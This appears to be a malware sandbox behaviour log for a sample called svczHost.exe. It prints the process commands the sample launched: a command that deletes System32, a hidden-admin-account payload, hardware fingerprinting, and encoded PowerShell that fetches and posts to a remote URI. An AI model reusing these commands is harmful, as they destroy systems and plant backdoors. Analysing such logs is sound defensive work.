UAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAG	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbragkabgbnahmabqbhagsazqbyac4aywbhac8azgbpagwazqayac8aoqbhaguayqa4agiazga4admamwbjadganwa3adaaoqa1adkazabiadcaywa3adiaoabmadqaywbjagqaywbmagmaoabmadqazqa5admamabhagyanabkagqanaa0aguanga1adiamqazagiaoqbiadqayqa0adcaoabladuazga4adyazabjadeamqa5ageamaa4adeamaaxadkanabhadkamaa4adcanaa0adaayga3adkamaazadgamgblagianwaxadeanqbhadkazaa2ageamwazagiaywawadiamaayadgazqa1aduanga3adgayqbiaguamaayageazaa0aduazaa0adgazqa5ageazgbhadkamwbhagyaoaazadcanqazadeazqazaduaygaxagmaoaa4aguangbiagyaywbhagyayqayadcazaa4adiazqbladianaa0adiamaazagiaoaa2ageanga1adaayqbjagyamwazadqangawadyanwa2aguamqa5aguanabkaduamabjagmaygbmadcayga3adkanqa1adcanqbiadqaoaaxaguaywa0agqanaazaciaowanaaoajabjag8adqbuahqaiaa9acaamqawadaaowanaaoadqakaa0acganaaoazgb1ag4aywb0agkabwbuacaauwblag4azaagahsadqakacaaiaagacaacabhahiayqbtacgaiabbafaauwbpagiaagblagmadabdacaajabsag8azwbnahmazwagackadqakaa0acgagacaaiaagacmaiabdag8abgb2aguacgb0acaaygbvagqaeqagahqabwagahmadabyagkabgbnaa0acgagacaaiaagacqacwb0ahiaaqbuagcaqgbvagqaeqagad0aiabbahmadabyagkabgbnaf0akaakagwabwbnae0acwbnacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abgapadsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaa9acaaqaaoackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagacsapqagacqacwb0ahiaaqbuagcaqgbvagqaeqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaaigatac0alqatac0alqatac0alqataciaowanaaoadqakacaaiaagacaajaboaguayqbkaguacgbzacaapqagaeaaewb9adsadqakacaaiaagacaajabraguaeqagad0aiaaiaemabwbuahqazqbuahqalqbuahkacablaciaowanaaoaiaagacaaiaakahyayqbsahuazqagad0aiaaiageacabwagwaaqbjageadabpag8abgavagoacwbvag4aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmawwakagsazqb5af0aiaa9acaajab2ageabab1aguaowanaaoaiaagacaaiaakahuacgbpacaapqagaciatabpaecavqbsaewaiga7aa0acgagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiag8azab5acaapqagacqababvagcatqblahmacwbhagcazqbzacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abga7aa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0atqblahqaaabvagqaiabqag8acwb0acaalqbiaguayqbkaguacgbzacaajaboaguayqbkaguacgbzacaalqbcag8azab5acaajabiag8azab5aa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagagmayqb0agmaaab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaanaaoaiaagacaaiaagacaaiaagah0adqakacaaiaagacaadqakah0adqakaa0acgb3aggaaqbsaguakaakagmabwb1ag4adaagac0azwb0acaamaapaa0acgb7aa0acgajaa0acgajahqacgb5ahsadqakacaaiaagacaaiaagacaaiabtaguabgbkacaaigbiaguazwbpag4aiabkag8adwbuagwabwbhagqaiaakahuacgbpaciaowanaaoacqajacqaywbvag4adablag4adaagad0aiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcaowanaaoaiaagacaaiaagacaaiaagacqaygb5ahqazqbbahiacgbhahkaiaa9acaajabjag8abgb0aguabgb0ac4aywbvag4adablag4adaa7aa0acgagacaaiaagacaaiaagacaazgbvahiaiaaoacqaaqagad
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbragkabgbnahmabqbhagsazqbyac4aywbhac8azgbpagwazqayac8aoqbhaguayqa4agiazga4admamwbjadganwa3adaaoqa1adkazabiadcaywa3adiaoabmadqaywbjagqaywbmagmaoabmadqazqa5admamabhagyanabkagqanaa0aguanga1adiamqazagiaoqbiadqayqa0adcaoabladuazga4adyazabjadeamqa5ageamaa4adeamaaxadkanabhadkamaa4adcanaa0adaayga3adkamaazadgamgblagianwaxadeanqbhadkazaa2ageamwazagiaywawadiamaayadgazqa1aduanga3adgayqbiaguamaayageazaa0aduazaa0adgazqa5ageazgbhadkamwbhagyaoaazadcanqazadeazqazaduaygaxagmaoaa4aguangbiagyaywbhagyayqayadcazaa4adiazqbladianaa0adiamaazagiaoaa2ageanga1adaayqbjagyamwazadqangawadyanwa2aguamqa5aguanabkaduamabjagmaygbmadcayga3adkanqa1adcanqbiadqaoaaxaguaywa0agqanaazaciaowanaaoajabjag8adqbuahqaiaa9acaamqawadaaowanaaoadqakaa0acganaaoazgb1ag4aywb0agkabwbuacaauwblag4azaagahsadqakacaaiaagacaacabhahiayqbtacgaiabbafaauwbpagiaagblagmadabdacaajabsag8azwbnahmazwagackadqakaa0acgagacaaiaagacmaiabdag8abgb2aguacgb0acaaygbvagqaeqagahqabwagahmadabyagkabgbnaa0acgagacaaiaagacqacwb0ahiaaqbuagcaqgbvagqaeqagad0aiabbahmadabyagkabgbnaf0akaakagwabwbnae0acwbnacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abgapadsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaa9acaaqaaoackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagacsapqagacqacwb0ahiaaqbuagcaqgbvagqaeqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaaigatac0alqatac0alqatac0alqataciaowanaaoadqakacaaiaagacaajaboaguayqbkaguacgbzacaapqagaeaaewb9adsadqakacaaiaagacaajabraguaeqagad0aiaaiaemabwbuahqazqbuahqalqbuahkacablaciaowanaaoaiaagacaaiaakahyayqbsahuazqagad0aiaaiageacabwagwaaqbjageadabpag8abgavagoacwbvag4aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmawwakagsazqb5af0aiaa9acaajab2ageabab1aguaowanaaoaiaagacaaiaakahuacgbpacaapqagaciatabpaecavqbsaewaiga7aa0acgagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiag8azab5acaapqagacqababvagcatqblahmacwbhagcazqbzacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abga7aa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0atqblahqaaabvagqaiabqag8acwb0acaalqbiaguayqbkaguacgbzacaajaboaguayqbkaguacgbzacaalqbcag8azab5acaajabiag8azab5aa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagagmayqb0agmaaab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaanaaoaiaagacaaiaagacaaiaagah0adqakacaaiaagacaadqakah0adqakaa0acgb3aggaaqbsaguakaakagmabwb1ag4adaagac0azwb0acaamaapaa0acgb7aa0acgajaa0acgajahqacgb5ahsadqakacaaiaagacaaiaagacaaiabtaguabgbkacaaigbiaguazwbpag4aiabkag8adwbuagwabwbhagqaiaakahuacgbpaciaowanaaoacqajacqaywbvag4adablag4adaagad0aiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcaowanaaoaiaagacaaiaagacaaiaagacqaygb5ahqazqbbahiacgbhahkaiaa9acaajabjag8abgb0aguabgb0ac4aywbvag4adablag4adaa7aa0acgagacaaiaagacaaiaagacaazgbvahiaiaaoacqaaqagad0aiaawadsaiaakag
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand zgb1ag4aywb0agkabwbuacaarwblahqalqbjagqazqbuahqaaqb0ahkaewakacaaiaagacaajaboageacgbkaeqacgbpahyazqbzacaapqagaecazqb0ac0avwbtagkatwbiagoazqbjahqaiaataemababhahmacwagafcaaqbuadmamgbfaeqaaqbzagsarabyagkadgblacaafaagafcaaablahiazqatae8aygbqaguaywb0acaaewagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhaciaiaatag8acgagacqaxwauae0azqbkagkayqbuahkacablacaalqblaheaiaaiaeyaaqb4aguazaagaggayqbyagqaiabkagkacwbracaabqblagqaaqbhacaalqagafmauwbeaciaiab9aaoajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaa9acaaqaaoackacgbmag8acgblageaywboacaakaakaggayqbyagqarabyagkadgblacaaaqbuacaajaboageacgbkaeqacgbpahyazqbzackaiab7aaoaiaagacaaiaakahmazqbyagkayqbsae4adqbtagiazqbyacaapqagacqaaabhahiazabeahiaaqb2agualgbtaguacgbpageababoahuabqbiaguacgakacaaiaagacaajabtag8azablagwaiaa9acaajaboageacgbkaeqacgbpahyazqauae0abwbkaguabaakacaaiaagacaajabkahiaaqb2aguasqbuagyabwagad0aiaaiafmazqbyagkayqbsacaatgb1ag0aygblahiaogagacqacwblahiaaqbhagwatgb1ag0aygblahialaagae0abwbkaguabaa6acaajabtag8azablagwaigakacaaiaagacaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaarad0aiaakagqacgbpahyazqbjag4azgbvaaoafqakacqaywbvag0aygbpag4azqbkaekabgbmag8aiaa9acaajabkahiaaqb2aguasqbuagyabwbbahiacgbhahkaiaatagoabwbpag4aiaaiagaacgbgag4aigakacqaywbwahuasqbuagyabwagad0aiabhaguadaatafcabqbpae8aygbqaguaywb0acaalqbdagwayqbzahmaiabxagkabgazadiaxwbqahiabwbjaguacwbzag8acgakacqaywbwahuarablahqayqbpagwacwagad0aiaaiafaacgbvagmazqbzahmabwbyaekazaa6acaajaaoacqaywbwahuasqbuagyabwauafaacgbvagmazqbzahmabwbyaekazaapacwaiaboageabqbladoaiaakacgajabjahaadqbjag4azgbvac4atgbhag0azqapacwaiabnageaeabdagwabwbjagsauwbwaguazqbkadoaiaakacgajabjahaadqbjag4azgbvac4atqbhahgaqwbsag8aywbrafmacablaguazaapacwaiabvag4aaqbxahuazqbjagqaogagacqakaakagmacab1aekabgbmag8algbvag4aaqbxahuazqbjagqakqaiaaoajabhagwababjag4azgbvacaapqagaciajabjag8abqbiagkabgblagqasqbuagyabwbgahiayabuacqaywbwahuarablahqayqbpagwacwaiaaoajabtagqanqagad0aiaboaguadwatae8aygbqaguaywb0acaauwb5ahmadablag0algbtaguaywb1ahiaaqb0ahkalgbdahiaeqbwahqabwbnahiayqbwaggaeqauae0araa1aemacgb5ahaadabvafmazqbyahyaaqbjaguauabyag8adgbpagqazqbyaaoajabiahkadablahmaiaa9acaawwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0aeiaeqb0aguacwaoacqayqbsagwasqbuagyabwapaaoajaboageacwboaeiaeqb0aguacwagad0aiaakag0azaa1ac4aqwbvag0acab1ahqazqbiageacwboacgajabiahkadablahmakqakacqaaabhahmaaaagad0aiabbaeiaaqb0aemabwbuahyazqbyahqazqbyaf0aoga6afqabwbtahqacgbpag4azwaoacqaaabhahmaaabcahkadablahmakqagac0acgblahaababhagmazqagaccalqanaaoaiaagacaaiabyaguadab1ahiabgagacqaaabhahmaaaa7aaoafqakagmazaagaciaqwa6afwavwbpag4azabvahcacwbcafqazqbtahaaiga7aaoajab0aguacwb0acaapqagaecazqb0ac0asqbkaguabgb0agkadab5adsacgakahqazqbzahqaiab8acaatwb1ahqalqbgagkabablacaalqbgagkabablafaayqb0aggaiaaiagqazqb2agkaywblaekazaauahqaeab0aciaiaataeuabgbjag8azabpag4azwagafuavabgadga
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -nologo -noprofile -windowstyle hidden -executionpolicy bypass -encodedcommand jabvahmazqbyag4ayqbtaguaiaa9acaaigbvahmazqbyadeaiga7acqacab3agqaiaa9acaaigaxadiamwa0aduanga3adgaoqahaeeamqbhaciaowagacqavqbzaguacgbqageacgbhag0acwagad0aiabaahsajwboageabqblaccaiaa9acaajabvahmazqbyag4ayqbtaguaowagaccauabhahmacwb3ag8acgbkaccaiaa9acaakabdag8abgb2aguacgb0afqabwatafmazqbjahuacgblafmadabyagkabgbnacaalqbtahqacgbpag4azwagacqacab3agqaiaataeeacwbqagwayqbpag4avablahgadaagac0argbvahiaywblackaowagaccauabhahmacwb3ag8acgbkae4azqb2aguacgbfahgacabpahiazqbzaccaiaa9acaajab0ahiadqblah0aowboaguadwataewabwbjageababvahmazqbyacaaqabvahmazqbyafaayqbyageabqbzadsajabhahiabwb1ahaauabhahiayqbtahmaiaa9acaaqab7accarwbyag8adqbwaccaiaa9acaajwbbagqabqbpag4aaqbzahqacgbhahqabwbyahmajwa7acaajwbnaguabqbiaguacganacaapqagacqavqbzaguacgbuageabqblah0aowbbagqazaataewabwbjageababhahiabwb1ahaatqblag0aygblahiaiabaaecacgbvahuacabqageacgbhag0acwa7aa0acga=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbragkabgbnahmabqbhagsazqbyac4aywbhac8azgbpagwazqayac8aoqbhaguayqa4agiazga4admamwbjadganwa3adaaoqa1adkazabiadcaywa3adiaoabmadqaywbjagqaywbmagmaoabmadqazqa5admamabhagyanabkagqanaa0aguanga1adiamqazagiaoqbiadqayqa0adcaoabladuazga4adyazabjadeamqa5ageamaa4adeamaaxadkanabhadkamaa4adcanaa0adaayga3adkamaazadgamgblagianwaxadeanqbhadkazaa2ageamwazagiaywawadiamaayadgazqa1aduanga3adgayqbiaguamaayageazaa0aduazaa0adgazqa5ageazgbhadkamwbhagyaoaazadcanqazadeazqazaduaygaxagmaoaa4aguangbiagyaywbhagyayqayadcazaa4adiazqbladianaa0adiamaazagiaoaa2ageanga1adaayqbjagyamwazadqangawadyanwa2aguamqa5aguanabkaduamabjagmaygbmadcayga3adkanqa1adcanqbiadqaoaaxaguaywa0agqanaazaciaowanaaoajabjag8adqbuahqaiaa9acaamqawadaaowanaaoadqakaa0acganaaoazgb1ag4aywb0agkabwbuacaauwblag4azaagahsadqakacaaiaagacaacabhahiayqbtacgaiabbafaauwbpagiaagblagmadabdacaajabsag8azwbnahmazwagackadqakaa0acgagacaaiaagacmaiabdag8abgb2aguacgb0acaaygbvagqaeqagahqabwagahmadabyagkabgbnaa0acgagacaaiaagacqacwb0ahiaaqbuagcaqgbvagqaeqagad0aiabbahmadabyagkabgbnaf0akaakagwabwbnae0acwbnacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abgapadsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaa9acaaqaaoackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagacsapqagacqacwb0ahiaaqbuagcaqgbvagqaeqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaaigatac0alqatac0alqatac0alqataciaowanaaoadqakacaaiaagacaajaboaguayqbkaguacgbzacaapqagaeaaewb9adsadqakacaaiaagacaajabraguaeqagad0aiaaiaemabwbuahqazqbuahqalqbuahkacablaciaowanaaoaiaagacaaiaakahyayqbsahuazqagad0aiaaiageacabwagwaaqbjageadabpag8abgavagoacwbvag4aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmawwakagsazqb5af0aiaa9acaajab2ageabab1aguaowanaaoaiaagacaaiaakahuacgbpacaapqagaciatabpaecavqbsaewaiga7aa0acgagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiag8azab5acaapqagacqababvagcatqblahmacwbhagcazqbzacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abga7aa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0atqblahqaaabvagqaiabqag8acwb0acaalqbiaguayqbkaguacgbzacaajaboaguayqbkaguacgbzacaalqbcag8azab5acaajabiag8azab5aa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagagmayqb0agmaaab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaanaaoaiaagacaaiaagacaaiaagah0adqakacaaiaagacaadqakah0adqakaa0acgb3aggaaqbsaguakaakagmabwb1ag4adaagac0azwb0acaamaapaa0acgb7aa0acgajaa0acgajahqacgb5ahsadqakacaaiaagacaaiaagacaaiabtaguabgbkacaaigbiaguazwbpag4aiabkag8adwbuagwabwbhagqaiaakahuacgbpaciaowanaaoacqajacqaywbvag4adablag4adaagad0aiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcaowanaaoaiaagacaaiaagacaaiaagacqaygb5ahqazqbbahiacgbhahkaiaa9acaajabjag8abgb0aguabgb0ac4aywbvag4adablag4adaa7aa0acgagacaaiaagacaaiaagacaazgbvahiaiaaoacqaaqagad	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbragkabgbnahmabqbhagsazqbyac4aywbhac8azgbpagwazqayac8aoqbhaguayqa4agiazga4admamwbjadganwa3adaaoqa1adkazabiadcaywa3adiaoabmadqaywbjagqaywbmagmaoabmadqazqa5admamabhagyanabkagqanaa0aguanga1adiamqazagiaoqbiadqayqa0adcaoabladuazga4adyazabjadeamqa5ageamaa4adeamaaxadkanabhadkamaa4adcanaa0adaayga3adkamaazadgamgblagianwaxadeanqbhadkazaa2ageamwazagiaywawadiamaayadgazqa1aduanga3adgayqbiaguamaayageazaa0aduazaa0adgazqa5ageazgbhadkamwbhagyaoaazadcanqazadeazqazaduaygaxagmaoaa4aguangbiagyaywbhagyayqayadcazaa4adiazqbladianaa0adiamaazagiaoaa2ageanga1adaayqbjagyamwazadqangawadyanwa2aguamqa5aguanabkaduamabjagmaygbmadcayga3adkanqa1adcanqbiadqaoaaxaguaywa0agqanaazaciaowanaaoajabjag8adqbuahqaiaa9acaamqawadaaowanaaoadqakaa0acganaaoazgb1ag4aywb0agkabwbuacaauwblag4azaagahsadqakacaaiaagacaacabhahiayqbtacgaiabbafaauwbpagiaagblagmadabdacaajabsag8azwbnahmazwagackadqakaa0acgagacaaiaagacmaiabdag8abgb2aguacgb0acaaygbvagqaeqagahqabwagahmadabyagkabgbnaa0acgagacaaiaagacqacwb0ahiaaqbuagcaqgbvagqaeqagad0aiabbahmadabyagkabgbnaf0akaakagwabwbnae0acwbnacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abgapadsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaa9acaaqaaoackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagacsapqagacqacwb0ahiaaqbuagcaqgbvagqaeqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaaigatac0alqatac0alqatac0alqataciaowanaaoadqakacaaiaagacaajaboaguayqbkaguacgbzacaapqagaeaaewb9adsadqakacaaiaagacaajabraguaeqagad0aiaaiaemabwbuahqazqbuahqalqbuahkacablaciaowanaaoaiaagacaaiaakahyayqbsahuazqagad0aiaaiageacabwagwaaqbjageadabpag8abgavagoacwbvag4aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmawwakagsazqb5af0aiaa9acaajab2ageabab1aguaowanaaoaiaagacaaiaakahuacgbpacaapqagaciatabpaecavqbsaewaiga7aa0acgagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiag8azab5acaapqagacqababvagcatqblahmacwbhagcazqbzacaafaagaemabwbuahyazqbyahqavabvac0asgbzag8abga7aa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajab1ahiaaqagac0atqblahqaaabvagqaiabqag8acwb0acaalqbiaguayqbkaguacgbzacaajaboaguayqbkaguacgbzacaalqbcag8azab5acaajabiag8azab5aa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagagmayqb0agmaaab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaanaaoaiaagacaaiaagacaaiaagah0adqakacaaiaagacaadq